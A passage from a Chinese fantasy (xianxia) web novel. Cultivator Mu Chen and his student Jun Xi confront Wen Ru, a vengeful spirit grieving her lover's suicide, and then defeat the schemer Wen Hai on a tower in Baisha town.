“那我们静观其变,暂时先不要擅自行动。”慕沉说,“他会再出现的。”
大家纷纷点头,静待香燃尽。
随后,众人分三路离开。林宸珠回府忙处理公务,吩咐下属善后镇北的诸多事项。司马锋以及王政乐师兄弟执意留下,随林宸珠的下属共事,以防备不测之祸。慕沉觉着这样也好,有他们在,不会出什么差错。
倒是君谿有些拿不定主意,默认地跟着慕沉。
这让他有些哭笑不得。他劝阻道:“你先随林镇主回去,跟君府报个平安,再去西南的城郊寻我,可好?”他想先自己一个人待一会。
君谿欲言又止,最后点头答应了。
待众人皆散去,慕沉揉了揉有些发晕的额角。他这两天精神高度紧绷,已经几十年没有如此消耗过。再怎么着,他也是个普通人,经不起这么折腾。
他应当找个地方先休息一会儿,哪怕半个时辰也好。可是有一件事他必须马上去确认,不能耽搁一点时间。
云竹的记忆毫无预兆地出现在摄魂阵里,可只有那天的那一句话——相逢不用忙归去,云外青峰竹正浓。然后再没有一点关于此记忆的踪迹。尽管他当时哪怕失魂的代价也没看到其他线索。可虽说只有一句话,却让慕沉的心激烈地颤动着,他寻找多年的人就在不远处,并且对方是带着记忆回来。
排除他阅览过的记忆之人以外,中了摄魂阵的人,都有这个可能。
可他又不敢轻易尝试去找——既然云竹有以前的记忆,那为什么不与他相认?是不敢,不能,还是……不愿?他害怕是第三个原因,所以哪怕真的寻到了云竹,也不能贸然开口,只能装作什么都不知道。一想到这里,让他不免有些伤感和遗憾。
但这并不能阻止他去确认云竹如今的身份。当时中阵的人有白沙镇本地,还有一些外来的江湖门派代表。尽管慕沉更倾向于认为云竹如今不是白沙镇的人,但是……君谿。
他在杂乱无章的阵里没有看见君谿半点的回忆。可他该怎么确认?云竹没有露出任何破绽。
不,他骤然想到,摄魂阵就是一个破绽。
除了出现一段来自云竹的记忆,还出现了一个不该出现的人的记忆——温茹。
“没有任何修为却能产生心魔,你倒是个可用之材。”文亥对温茹说。
当时的摄魂阵里,除非温茹的魂魄在场,否则不可能出现关于她的回忆。而在魏霜林的回忆里,温茹早已殒命,不可能会出现,必然是有人将她的魂魄带到此处,目的暂且不知。这个人是文亥,还是云竹?
慕沉找了颗树,在树上一根较为粗壮的枝干就这么随意地躺下,闭上眼睛冥想。
君谿身上,是否有一点云竹的影子?仔细想想,还真是有的。比如对方年纪轻轻便精通阵法,初见时同样是少年人的模样,以及……世上的称谓千万,为什么偏偏这么巧,都唤他“先生”。他不信,这是一个巧合。
已经很明显了啊,云竹就差告诉他了。
只是接下来,他要如何才能装作若无其事的样子面对?如何才能不失分寸、不乱阵脚地坦然相处?
他思绪渐沉,真是有点累了啊,居然毫无顾忌地进入梦乡。
相逢不用忙归去,云外青峰竹正浓。
他又梦到云竹了。只是煎熬永远占据上风。
……
君谿没有回君府。他一直偷摸着跟着慕沉。许是慕沉这两天丝毫没有休息,况且还经历了摄魂阵这种十分损耗心神的阵法,竟是没发现
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一直有个人尾随着。
君谿见他走走停停,俨然一副魂不守舍的样子,最后找到一棵树就这么躺了上去。
见对方没有察觉,君谿这才在他对边的枝干上坐下,半个身子斜靠着树干,静静描摹着慕沉的睡颜。
不过看起来睡得不踏实。
君谿伸出手,下意识地想抚平他紧皱的眉头。在即将碰到的一瞬间,蓦地反应过来,又抽回去。
他攥了攥掌心,默不作声地深吸一口气,视线重新聚集在慕沉上。
不知看了多少遍。
相较于白沙镇的风云,此刻真是难得安宁。
不过慕沉终究是醒过来了。他一看周围环境还有些错愕,才反应过来自己在一棵树上。一扭头,就见君谿坐在另一根枝干上目不转睛地盯着他。视线交汇,君谿还冲他笑了一下。
慕沉一愣,忙不迭坐起来,带着还没缓过劲的嗓音说:“你来了。等了多久?”
“我刚刚才来,先生可以再多睡会。”君谿温声细语地对他说,“先生这两天都没怎么休息,肯定很疲惫了。”
慕沉轻微摇头,对上对方的眼神。他回答:“睡不着了。”
君谿好半晌没有回话,不知在想什么,慕沉就这么镇静地与之对视,丝毫不避让目光。
但他不能就这么看太久,于是问:“难能停下来歇一歇,只有我们两人,你有没有什么话想说的吗?”
“有。”君谿不假思索,下一秒就回答,好似就等着他开口询问。君谿坦白道:“我其实,是故意接近先生的。”
这回答倒是让慕沉没想到,让他有一瞬间的恍惚,就像回到了多年前。
慕沉理了理身子,冷静开口:“我知道。”
“拜师并不是真正的目的,而是为了今日的白沙镇,对吗?不论拜师成功与否,你这一个月下来的相处已经和清诡门、和我脱不开干系,若是你遇上了什么麻烦,我自然是不会袖手旁观的,就像今日的公堂一样,对吗?我曾在摄魂阵里看到君秋恒拜见过林宸珠,想来就是商议此事吧?”
“你以身入局,还真是胆大心细。”
他慢条斯理地替君谿答完接下来要说的话,侧身背靠在树干上,注视着正前方。他想——
真是一如当年。
没有否认,便是默认。君谿垂眸低笑,一点也没有被戳穿的心虚紧张感,反而气定神闲,慢悠悠地反问:“那先生还在摄魂阵里看到什么?”
“温茹小姐。”
“没别的了吗?”君谿笑眯眯地看着他。
慕沉转过头面不改色地看他一眼,说:“有。”却没说具体看到了什么,“我因此才明白,真正复仇之人,是她。”
与其说多出来的那个人是温茹,倒不如说魏霜林才是真正不该出现在摄魂阵里的。他方才提到温茹的名字,特意观察了一下对方的神色,没有丝毫惊讶,哪怕细微。
“走吗?去魏霜林的府邸看看,也许温茹小姐早就在等着了。”说完,慕沉自顾自从树上跳下去,抬头望着君谿,伸出一只手示意,“来,小心。”
君谿毫无顾忌地也跳下来,落及地面,不由得握住他的掌心,留下温热,一触即分。
慕沉默默收回了手,二人并肩而行,前往魏霜林的府苑。
32. 芳华未尽心中情
若是按魏霜林出事的时间点来看,府邸少说闲置了有一个月,可除了大门紧闭,宅院内却不像没人居住的模样,反而是被人精心打理。
庭院内,林宸珠与魏霜林对坐,两人都心平气和地交谈,仿佛很久没有这样子好好说过话。
只是,林宸珠毫不留情地训道:“你当着众人的面杀了王齐铨,已经是僭越了。可胡阿华只是一个百姓,他的异常,是不是你做的?”
“您不是也公然发难刑罚吏主黄观吗?如今他在地牢里等您发落,生死也不过是您一句话的事。”魏霜林轻声一笑。
“那不一样,我是名正言顺。你难道要将白沙镇弄得天翻地覆才肯罢休吗?”林宸珠皱眉,“我先前可没答允过你可以这么做。”
“那是胡阿华自己入的圈套。谁要是靠近那个地方,就是有罪!”魏霜林有些激动,差点绷不住神情,又反应过来对面是他母亲,冷静几分,低沉地说,“已经晚了,母亲。我会遵循遗志,您不必阻拦。您可以名正言顺地除掉那些人,我亦可以名正言顺地‘复仇’。这难道不是您希望的事吗?”
“够了。我从没有这么说过。”林宸珠淡淡地抿了一口茶,盯着他道,“还有,别顶着他的脸喊我母亲。你还要扮作他的模样到几时?”
“魏霜林”听完十分惬意地笑了,不急不慢地换了个人形,温茹的身影渐渐显现。她温声笑着说道:“母亲,您难道不认我这个儿媳吗?正因为他是您日思夜想的亲人,是我朝思暮想的恋人,我才舍不得变回原样啊。”
“可你终究不像他。”
“是啊,我不像他。我才知道他在所有人眼里那份矜贵温柔的模样是我怎么都学不来的。”温茹眼色黯然。
“可他还是死了。”林宸珠默然片刻后才开口。
“不,他没死!”不知触动了温茹什么,她坚定地看着林宸珠,“他在我心里,在您心里,那他就不会死。”
林宸珠被她炙热的眼神感染,愣了一会,终究是叹了一口气,回应道:“对,他还活着。”
温茹正想再说什么,目光一凛,突然伸手摁住林宸珠的手腕,提醒道:“有人来了。”
这时两人从围墙处跃进来,不走寻常路,许是怕引起动静。
“不请自来,温小姐别见怪。”慕沉礼貌性笑了笑,“林镇主原来也在。”
“慕仙师,百闻不如一见,还有君公子,别来无恙。”温茹平静地看着突如其来的两人,矜持地回复,“二位请坐。”
待他二人落座,温茹这才问:“我倒好奇,慕仙师怎知我在此处?”
“能这么在意魏公子的人,除了林镇主,只能是你了。若是无处栖身,这里可是不错的选择。”慕沉回应。
不知戳到什么痛处,温茹苦笑一番,说:“多么讽刺啊,魏公子到头来,只有两个亲近的人在意他。慕仙师,您知道魏公子以前的为人吗?”
“我知之甚少。”慕沉实话实说,但,摄魂阵又告诉他了不少。
魏霜林想必是十分受人爱戴的。他能记下全镇百姓的名字,百姓自然也是记得他的。当然,是在白沙镇风云涌动之前。是什么让一切都变了呢?一个众星捧月的人,就因为几句蛊惑人心的流言,被猜忌,被质疑,被推入深渊——真是叫人唏嘘。
“但君公子却一定知道。”她提了君谿一嘴,“他对待那些百姓,甚至比对我还好。可到头来,还不是被他们辜负?”温茹脸色很差,显然是牵动了情绪。“明明说好了一起远离尘嚣,他却背着我当众自戕……他是解脱了,可我呢?我不甘愿!”
温茹语气放缓,“凭什么要付出代价的是他?”
“这便是你的执念吗?”慕沉思索后说道。
他想起之前君谿曾说过,执念不散,周遭不除。
温茹一愣,无所谓道:“我早有预料,慕仙师看出来我不是正常人。不过这于我没有任何影响。该死的人,我依旧会杀。”
“温茹!”林宸珠喝住她,“你难道真的要搭进全镇的人?他们也不过被有心之人牵着鼻子走,你——”
“母亲——”温茹打断她,语重心长说,“您难道不失望吗?”
林宸珠哑然。
“慕仙师,”温茹转头认真地询问他,“您眼里的公正是什么?”
“我?”被骤然询问莫名其妙的问题,慕沉先是蒙住,随后淡然一笑。
他很仔细地思考这个问题,最后得出来的结论是,
“我眼里没有公正。”
在坐的都是一愣。
“哈哈哈……”听到这个答案,温茹失声笑起来,笑够了,就重新调整自己的情绪。“我原以为,慕仙师必然是那种惩恶扬善之人。传言果真只是传言,原来我们是一类人啊……那不如换个问题,若是慕仙师遇到这样,您会怎么做?”
“我不知道。”这下他倒是答得很快。
他不曾经历过,也无法想象,所以不知道。但他不经意地看向一旁的君谿。
慕沉,他发誓,这辈子要守住一个人。
君谿察觉到了他的视线,回应一笑。
慕沉别过眼,接着道:“温小姐倒不必如此悲观。若是我说,魏霜林还在呢?”
“我自然知道他一直在。等等——”温茹反应过来,眼神中透露出惊讶,“您说什么?”
“正如你所想。”慕沉微微颔首,“我虽不知魏霜林的想法,可温茹小姐,你应当是特别了解他的人,难道你这么做,是他愿意看到的?”
三个人的目光齐齐盯上温茹,而她一瞬间看穿了什么,了然一笑。“我明白了,慕仙师。您也是说客,劝我回头是岸。我还以为您至少会理解我。”
她下意识犀利地望向林宸珠,虽没说话,却仿佛在无声质问什么。但那是她的长辈,亦是魏霜林的母亲,她很快就收起不敬的眼神以及情绪,喊了一声:“母亲……”
林宸珠听后有如被会心一击,脑海中挥之不去的画面瞬间浮现,苦涩从心口处蔓延至全身。她不自觉握紧拳头,却还是稳住了阵脚。身为镇主,不能因为私情而失了分寸。她平静地看着温茹,丝毫没有动摇:“你若执意做出危害白沙镇的事,我亦是不会手下留情。”
“那我们各自安好,母亲。”温茹垂下目光,暗自想着自己的主张。“慕仙师,君公子,我们之间已无话可说。”
林宸珠起身,朝大门方向走去,约莫走了四五步,转头对慕沉说:“慕仙师,还请单独一言。”
听完慕沉不疑有它,跟着对方走到门外,顺手设下屏障,道:“请说。”
此时院内的两人面面相觑,温茹没好气说:“君公子怎么还不走?”
“我等先生回来。”君谿平淡回应。
“你叫慕仙师先生?凭什么?”
“他教我武功,我是他学生,有何不可?”君谿理所当然道。
“那我也要拜他为师,让他教我武功。”温茹灵光一闪,“这样我就更有能力为魏公子报仇了。”
君谿没有接话,先前的淡漠在此刻终于爆发,他眯了眯眼,神色冰冷地看着温茹,道:“温小姐,你方才说错了。先生跟你从来不是一类人。”
温茹见对方面色认真,不由得一愣,随即恍然大悟。她欢愉地笑起来,“对。我跟他不是一类人,你跟他才是。”她挑衅似的看着他,意味不明问,“那他知道你的真面目吗?”
“他会知道的,前提是我亲自告诉他。”君谿不留情面地提醒道,“但若是有人不懂分寸,我会教他如何开口。”
对方不同寻常的气息让温茹打了个冷颤,她“哼”了一声,扭过头说:“用不着你提醒我。我不过随口一说,你倒心急上了。真是期待慕仙师认清你时的表情。”
君谿转头看着慕沉的方向,但笑不语。
“温茹……不能留。”沉默良久,林宸珠艰难开口,企图闭上双眼平复自己的心情,“我听说过,一个月前若乔镇也出现了一个周遭人。他的下场是什么?”
“灰飞烟灭。我还以为林镇主会选择包庇她。”慕沉挑了挑眉。
林宸珠身子一僵,抬眼郑重地看着他,于心不忍道,“单凭我不能处理周遭人,请慕仙师来镇的真正原因便是为了阻止温茹。可若是有朝一日温茹引起不可挽回的后果,还请慕仙师手下留情。至少……别让她灰飞烟灭。”
“林镇主且放心,在下还不至于如此心狠。只要她的执念散去,便可从根源阻止她。皆大欢喜。”
林宸珠眼神中透露出些许希冀,问:“慕仙师有何高见?”
“其实不难。林镇主将令郎的遗志交付于我,待我给她讲个故事。”
“果真如此简单?”林宸珠半信半疑,但还是将魏霜林的遗志递给慕沉。“有劳慕仙师。”
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“自然。”慕沉握住遗志,自信地笑了笑。
他打了响指,屏障消失。
林宸珠自顾回府,说是安抚那些外镇来客,便不再奉陪。
慕沉又回到庭院,不过这次走的是正门。尽管他很想低调进门,奈何大门一开就发出不小的声音,里面的两人都看过来,停止了交谈。
“慕仙师,您若是来劝阻我的,还是免了,我的复仇不会停步。您若是来清理我的,那我们只好一教高下,让我死个彻底。”
君谿默不作声,却对温茹所言不满。
慕沉失笑,他不紧不慢地坐下,将遗志展开至桌上。
“这是魏公子的遗志。”温茹一眼就认出,不自觉上手抚摸,轻嘲一声,“您不会以为镇上那些人是因为遗志才出问题的吧?这不过是一张废纸。”
“我知道。你不是通过这份遗志作祟的,而是遵循遗志的嘱愿,替‘它’完成‘它’做不到的事。毕竟这是魏公子生前留下的。”
“他想必恨透了所有人,才一笔一划写下他们的名字。”温茹眼睛里闪烁着不该存在的水光,“很讽刺吧,明明最后什么也做不到,他却还是写下来,算不算一种对自己的安慰?”她声音愈发变得坚定,“我帮他实现他未尽的遗志。”
“可温小姐似乎误会了他的意思。”君谿适时开口,目光仍在遗志上。他眼神快速搜寻着,突然定住,找到一处名字,指出来说:“这是我的名字,可他写错了。不是溪流的溪。”
温茹跟着看过来,皱眉道:“许是他记错了。”
“那你的呢?总不至于你的名字他也会记错。”君谿又指了一处,上面俨然是温茹的名字,不过“茹”变成了“筎”。
而后温茹便发现,但凡是她认识的人的名字,要么是同音,要么是形近,都被替换成一个新的名字。哪怕是她恨透了的那些权贵。
这不就意味着,就算【遗志】是生效的,魏霜林要“杀”的人自始至终都是不存在的人。
“先生应该早就看出来了吧?”君谿抬头,笑脸盈盈地看着他。
“嗯。”他沉着回应,仔细盯着遗志里对方的名字,虽然不是真正的。“他曾经知道自己的遗志被人动了手脚,以防被人利用,他才写下所有不存在的名字,这样无论如何【遗志】也就成了废纸。”
魏霜林在发现的那天夜里便有了对策,挑灯也把白沙镇的居民全都记了下来。唯有他能做到这样了吧。慕沉回忆着。
可他哪里能想到,所谓的利用不在【遗志】本身,而是遗志。没有人能像他一样记住所有人的姓名,只理解为,他想用自己的性命,换所有人万劫不复。而那个被利用的人,正是他此生的珍爱,温茹。
“温小姐,你的行为,会让你心念的魏公子做的努力都付诸东流。”慕沉客观地讲述事实,同摄魂阵里看到的一并说与对方。
君谿添油加醋道:“魏霜林曾经翻看过历年的医案,已经找到了对付周遭影子的方法。可惜天不随人愿,他还没做出点什么,就已经死了。而你,温小姐,你是周遭人。你催动心魔让那些人的‘病情’加重。这与他当初的想法相悖。”
慕沉被吓了一跳,赶忙握住君谿的手腕。凑近小声询问:“你是不是说太过了?万一把人家逼疯——”他没想到君谿这么直白,按照发展应当是循序渐进地安抚,让对方无法做出更极端的事,可这几句话一刺激,保不齐就……
君谿看了看自己的手腕,传来的触感十分真实。“先生,”他轻笑一声,小声回道,“温茹小姐没有你想得那么脆弱。”
慕沉不以为然地收回了手。
温茹听完二人转后,仿佛失了所有的力气和手段。她不由得自嘲一番,自己做的都是无用功,所谓的复仇也不过是被利用的笑话。
她回想起自己的心魔吞噬着普通人的样子,他们脸色浮现喜怒哀乐的百态。知道为什么不能说话吗?只要普通人一开口,就像流言蜚语降临时旁观者的丑态,但凭一张嘴就能将人逼至绝境,让人心生胆寒,无处遁形。
就算不是为了魏霜林,难道不能为自己报仇吗?
她的私心,究竟是为魏霜林,还是自己?
可就算报仇了,又得到了什么?
“我早知道人性向来如何,是我寻错了复仇对象。”温茹终是释然,狡黠一笑,“我相信林镇主会为我们讨回公道的。”
33. 情未散执念难消
魏霜林置身于高台之上,仿若供人取乐的戏子,无喜亦无悲。
他曾站在台下,抬眼只是一片高墙,确实如传言般什么也看不到。他觉得王齐铨那群杂碎真是疯了,建造出这么一个东西。他们凭什么?
这时他走上前,直至戏台的边缘方停下脚步。低头就能看到地面上的人了。那些人仿佛看戏的观众,只要不牵扯到自己身上,就能一直这么装糊涂下去。看到他几乎只要再踏出半步,就会从高台坠落,他们只是私语着、不安着、看着——就是没有人叫喝着让他退后,别做傻事。哪怕有一个人也好啊。
他无奈地笑了,多么冷漠的大家啊。
他静默地看着台下的看客,甚至能一个一个念出他们的名字。全都是他帮助过的居民。
可是值得吗?
温茹已经成了这无意义的斗争的牺牲品,母亲却还在坚持、还不肯放弃,可是真的值得吗?
“罢了。”
少年终是轻叹了一口气,“宁叫天下人负我,也不叫我负天下人。”
这是母亲教的,也是他自己学的。哪有什么值不值得。
这座戏台,这场戏,很快就要结束了。
少年闭上双眼,举起握着的剑,毫不犹豫地朝自己的脖子一抹。
疼痛。不安。
血液溅撒的同时,他在想,前几天还在跟他打招呼的百姓,那时他们是以怎样的心态面对他?是心虚,还是愧疚?
不过都不重要了。
释怀。解脱。
阿茹还在等着他。
阿茹会不会生他的气?
扮狼的野狗已经露出了它的爪牙,就等你揪出它们的尾巴——
他们还在对面看着儿子的笑话呢……母亲,儿子是做不到了,剩下的靠您了。您是不是要好好收拾他们一顿,替儿子讨回一点公道?
走马灯只是一瞬,也是永恒——原来短短的二十年,也能经历这么多吗?
少年失血过多,逐渐失去意识,从高台上跌了下去。
底下是万丈深渊,吃人不吐骨头的地方,他就这么掉下去,是不会有什么好下场的……可他做不到什么了。
刹那间,一团黑影以极快的速度接住半空中的少年,消失在众目睽睽之下。
众人不明所以,只看到他们所期待的样子,到底是欺骗自己,在心底求个慰藉,纷纷起哄道:“我们有救了!”
“老天显灵了!老天显灵了!”
至死方休。
林宸珠赶来时,那里只留下一滩血迹。墙上,栏杆上,地上,鲜红可怖,足以想象出来流血的人有多痛,多无力。
“人呢?!”林宸珠双眼通红地质问下属,这是她第一次近乎失控。
众目睽睽之下,没有人会选择撒谎。魏霜林就是死了,就是消失了。
她只能听他们一遍一遍的重复,魏霜林是怎么走上去的,怎么用剑自刎,又怎么从高台上坠落……她只能听着,无能为力。
这不是她的计划。魏霜林自作主张,他是想用自己的性命,换回什么?
人的良知吗?真是可笑……可悲。
她抬头看向客栈的那群所谓权贵,对方也在幸灾乐祸地看着她。仿佛她才是重头戏。
你看他们,像不像在挑衅?他们有什么资格!
百姓们见自己如此敬重的镇主悲痛欲绝,一时间竟不敢说一句话。
“罢了。”林宸珠摆了摆手,对下属说,“把霜林的血迹清扫一下,就回去吧。”
她走时没有半分犹豫。是啊,有什么好犹豫的,这里是不祥之地,她不应该在这里停留的。
她想好了,等她下一次回到这里,清
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扫的就不止这点血迹了。污秽要通通清除,才能还魏霜林的安宁。若是有人胆敢质问她——
林宸珠,她是白沙镇镇主不错,可她还是魏霜林的母亲。一个母亲因丧子之痛,会做出什么事都不奇怪。
温茹死了有好多天。直至魏霜林的血落至地面的那一刻,她奇迹般醒了过来。
没想到文亥就像预料到那般,将阵法设在这座高台上。这厮计划着什么尚且不管,她倒是变得与以往手无缚鸡不同了。
可怎么一醒来,看到的是魏公子——
魏霜林坠入深渊,她以极快的速度接住,并带走了他。
她暂时躲进了魏霜林的宅子,眼看着少年的体温渐渐凉透,她却无计可施。
该怎么办?她跌坐在地上,无助地将对方抱在怀里,失声痛哭。“魏公子……霜林……你真是个傻子……”
她害怕一放手,对方就消失了,于是紧紧地抱住那副冰凉的躯体,恨不得缠着一辈子。
“值得吗……”她眼泪快流干了,自顾自说了很多话……若是魏公子还在的话,看她哭得这么难受,早就心疼地安慰她了。他会抱住她,温柔地擦掉她脸上的眼泪,然后会想办法逗她开心……
这期间她在想,干脆再次一死了之算了。可莫名想起文亥奇怪的话,她似乎觉得,是魏公子的死,唤醒了她。只要他不死,她就不会再活过来。可她倒宁愿永远下地狱,换他一世长安。
是那些迂腐贪婪的东西逼死他的。当初他们也是这样逼着她的,如今,也不放过他了是吗?
她不甘心就这么死了啊!总要做点什么不是吗。
“罢了。”她低头眷恋地抚摸着对方的脸颊,轻语,“换我抱着你也是一样的。换我擦净你的血痕,逗你开心,好不好?”
至于那群人——他们,早就该死了。
34. 权起白沙,花落谁家?
温茹最后说的那句话不可细想,不过最终倒是消散了执念,也算是无伤解决了一桩难事。但她毕竟还是周遭人,终究不能融入正常的生活,慕沉暂时不知如何处理,便写信寄回清诡门,问问何初作何打算。最多两三天就能收到回信。
剩下诸如料理伤患、清除余秽的事,由司马锋带领温茹秘密处理干净了。至于那处周遭人的阵眼,仍然在高台正中央,无法被轻易破解,只得暂时停封。待慕沉寻出破解之道,亦或是像上次一样,强行清除。
郊外的那间屋子也已经被拆除,待在镇主府的客人听说中邪的人都不治而愈,纷纷一探究竟,结果没发现什么异常,就想着拜别林宸珠打道回府。林宸珠还是一如平常的客气,出于前几天事发的歉意和感谢,特意要办一个欢送宴为他们饯行。城里人管这叫有始有终。
原以为此事已经告一段落,慕沉在白沙镇也确实清闲了两天,结果次日一早就听闻李择秉和黄观二人不堪其苦,越狱出逃。这其间有谁的暗中帮助,慕沉似乎不用想也能猜得出来。
好在林宸珠有所防范,很快就禀告至镇主府上,两人还没跑出一里地就被团团包围。林宸珠竟直接将两人就地正法。
这个消息不胫而走,镇中的百姓无一不认为大快人心。可传到慕沉耳边就觉得有待深思,也许是他阴谋论想多了。
此时放松警惕还是太早了。文亥精心设计的局,辛苦找到的试验品,就这么被慕沉三两句话解决了,换做谁都不会甘心的。对方若沉得住气,便可一直保持距离。不过后日的饯行宴是最后的期限,过了那天,文亥再想做什么一定掀不起风浪。
也许真被慕沉猜中,直至开宴当天,仍然风平浪静。
没想到除了他们这些外镇的,林宸珠竟还是邀请了当地的权贵,当然包括君秋恒在内。这些人一如既往地不把他们这些江湖人士放在眼里,当然不包括君秋恒。
一反常态的是宴会安然无恙地进入尾声,待林宸珠发话,他们一众便可离开这是非之地。
慕沉见对席的王缎站起,心笑果然是按耐不住了。
“林镇主是大忙人,平日里见不到你。今日当着客人的面,还请为我父亲的死给个说法。”王缎掷地有声,能让在座的人都听到。
就算是不了解白沙镇体系的外人,这几日早就耳濡目染,虽说王齐铨没得突然,却是死有余辜。此刻听王缎发声,早就心知肚明,暗自腹诽。林宸珠掌管着白沙镇不容易,真是片刻不得安宁。
王缎开了个头,其余的权贵也都按耐不住,纷纷站起表态。当然君秋恒除外。
林宸珠不与他们周旋,面对的不止他们,而是在场的所有人,直截了当道:“诸位,本镇主今日确有一件事情相告,是关于白沙镇的。”
所有人屏息凝神倾听着。
“从今日起,白沙镇将废除所有贵族和权职!”
举座皆惊。
率先破口而出的是那位财户吏主关越蒙。
“林宸珠,你难道想独揽白沙不成?”
她沉着冷静地看着对方,眼底没有半分神色。只听她理智地表态:“我请诸位外镇的客人来做个见证。倘若有一天,我未司镇主之职,做出罔顾镇主之事,皆可随时举发。而林宸珠在此发誓,绝不会有这么一天。”
话已经到这个份上,加上这些天大家都清楚林宸珠的为人,实在是没有让人驳回的余地。
但总有人是坐不住的。若是林宸珠一揽大局,哪还有他们这些权贵的容身之处?关越蒙竟是拔出自己的佩剑,将剑锋对着林宸珠。他咬牙切齿道:“你适可而止!”
慕沉身后的一名男子站起身欲阻止道:“你干什么?宴席上岂容刀剑出鞘!”
这男子不过一个外人,这些眼高手低的贵族哪能听他的,皆拿起自己的武器,作势要迎来一场恶战。慕沉这边的修士也都不动声色地握住随身武器以示防备。
眼观宴会上的火药味愈发浓重,林宸珠抬手先稳住慕沉这边,终于缓缓起身,似笑非笑地看着李择秉那一拨人。她朝身旁伸手,下属将一柄佩剑双手奉上。
“既然你们选择舞刀弄枪的方式讨回你们所谓的公道,那么我不反对。”林宸珠拔剑出鞘,剑锋的寒光有如她现在的眼神,凛冽而坚韧。
“只要你们有一人能赢过本镇主,那么本镇主方才的话都不做数。”她冷笑道,“若不能,依照白沙镇的律法,你们就做好蹲牢狱的觉悟。”以及,下地狱的觉悟。
慕沉知道,白沙镇虽说不涉江湖,但还是身处江湖。这些有能力的权贵几乎人人都有修为,而且大都还不错。他们似乎认为林宸珠异想天开才敢这么说,对于林宸珠必败势在必行。
众人移步至院外,静观事态发展。
慕沉起了兴致,刚想跟着大家围观,突然感知到一股非同寻常的力量。顺着方向,王缎正巧朝他看来,两人就这么对视上了。
只见王缎立马移开视线,脚步暂缓,逐渐淡出人群。周围竟没有人发现。
慕沉心中起疑,顿时打消看戏的念头,借口离开。
跟踪有一段时间后,他便清楚,王缎是在带路引诱他。索性就不遮遮掩掩,明目张胆地尾随王缎,只保持一段距离。
没想到王缎带着他来到镇北。不远处屹立着的高台十分醒目,他已了然于心。
高台之上有人等着他。
正中央多了件陈设,是他们曾经在幻境中看见的圆桌,上面摆放着的香炉里正燃着三柱香。
“久闻慕仙师盛名,早就想领教一二。”文亥挑眉一笑,就这么随意地靠在圆桌旁。
“哦?”慕沉皮笑肉不笑地面对他,不要脸地问道,“难道你做了这么多,只为了见我一面?”
“当然——不是。”文亥特意延长了声调,散漫地看着他说,“我只是想让你看看,白沙镇如今就快要分崩离析,就算是你也无法挽回。”
“你似乎想以此引起我的注意。”慕沉把目光放在的桌上,看着香灰一点点落在炉里,漫不经心地开口。
“但很可惜,”他突然往前走,一步一步逼近文亥,“我不是白沙镇的人,就算是,我也不会有任何表示。”早在若乔镇他就已经经历过了。
再往前离文亥更近一步,王缎已经拿剑指着他了。
慕沉停下脚步,却不是因此惧吓到,眯了眯眼,对王缎冷言道:“小朋友,助纣为虐可不是什么好的选择。”
突然想起来对方是王齐铨的儿子,懒得再说什么废话了,反正也没用。
这时,香已燃至一半,冒出来的青烟逐渐幻化出了人形,是温茹。她如今站在慕沉的对立面;不,她从来没有说过跟慕沉是一伙的。
文亥更加肆意地笑了,幸灾乐祸地看着慕沉,说:“慕仙师,周遭人的执念岂是三言两语就被打动的?它们是天生的傀儡啊。”文亥眼神示意她,道:“跟慕仙师讨教讨教。”
说完,温茹不带丝毫犹豫,便对慕沉发起攻势。
慕沉先躲了她的三两招,观察对方的着力点。
据说温茹在成为周遭人之前是没有半点修为的。但现在的她不同,何况慕沉领会过周遭影子,大抵知道周遭人的实力如何。但这玩意因人而异,温茹没学过武功,自然不知施力技巧,让他寻了个可趁之机,还算是轻松应对。
他低唤剑诀,已经准备动真格的了,快准正打算“狠”的一瞬间突然对上温茹的眼神,领会了一个信息——
剑势骤然转向文亥。
而温茹,对王缎全力一击,对方根本来不及反应,身上已然留下一个血洞,不可置信地倒地。她晃了晃用力过猛的手,血迹从她手上肆意地甩开。
如此简单粗暴。
慕沉余光瞥见她的战况,太阳穴罕见地跳了几下。但他没时间分心,面对文亥才不能掉以轻心。
不过文亥对于突如其来的变卦有些猝不及防,没能及时躲开,硬扛下这一击,恐怕损耗了不少代价。剑意强势,慕沉已经冲了过去,趁其不备欲一举拿下。文亥与之缠斗了一会儿,在旁的温茹已经将王缎处理完毕,想加入战局却根本插不上空。
……慕沉预见对方下一招式,他只需引诱对方稍以改变就能解决战局。于是他果断露出要
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害,脖颈变成对方最容易攻击的地方。
毫不意外的,文亥上钩了。慕沉将剑锋直直刺入文亥心口处,同时偏过一点,避开文亥朝脖颈处攻击的剑。这招,差一分毫,胜在凶险。
文亥似乎还想再做什么,突然飞来一只长针钉入他的手腕,失去了动作的能力。
慕沉一时不查,对着倒地的文亥愣了一下。
文亥却一脸有恃无恐,仿佛要死的人不是他一样。
“这是你亲手种下的种子……”文亥在消散前留下了最后一句话。
末了,慕沉朝对面望去,抬眼便见君谿坐在客栈四楼的窗台上,小腿自然垂落在半空中,有一搭没一搭地摇晃着。对方正笑脸盈盈地看着他。
慕沉心头直跳,却一脸无奈道:“你小心些。”
“先生放心。”
君谿笑容可掬,还是老实地回到客栈的实地上。慕沉差点以为对方要这么直接跳过来,那他可吃不消。
正中央是整个阵法的阵眼,想来周遭人·温茹就是在这里诞生的。而她此刻的状态似乎有些不对。
这时候君谿也从台阶上来了,温茹看着二人,单纯地笑出声。她语气温和道:“慕仙师,其实文亥说的不错,我的执念从来没有消失过。”
慕沉静静地看着她。
“您说的也很对,替魏公子报仇是我的执念。可我当时想了又想,想了又想,我还是不甘心。总有一些人,是要我亲手解决的。”温茹不经意地瞥过王缎的尸体,抬头感受阳光带来的温度,“只有这样,我才能得以解脱。”
她在客栈没解决的人,此刻在高台上解决了。
温茹叹了一口气,却释然地笑了,对他们正式道别:“慕仙师,君公子,我的执念已了,心魔已散,尘世已尽。”
“永别了。”
经此心境,她如同幻影一般,逐渐变得无影无形,一触即散。香早已燃尽,连同阵法一并消失得无影无踪。
慕沉从袖中拿出不久前刚收到的来信,打开后俨然是何初力透纸背的字迹,写得十分简单明了:
*
你被骗了,周遭人没了执念就会消失。
别管白沙镇的事了,有司马锋和王政乐在就行,你快回来,换我下山。
*
他自动忽略后一句话,心想早知道信寄来的时候就拆开看,说不定能省一点不必要的麻烦。
“先生,去品茗吗?”君谿走上前笑眯眯地看着他。
“好。”慕沉毫不犹豫地答应了,他拒绝不了任何一款茶香。
茶馆里人满为患,好不热闹。
这时急匆匆跑进来一人,是慕沉邻桌的熟人。此人还没坐下,他的同伴们就都心急地问:“怎么样怎么样,打听清楚了吗?”
那男子灌了口茶水,才不紧不慢地点头。
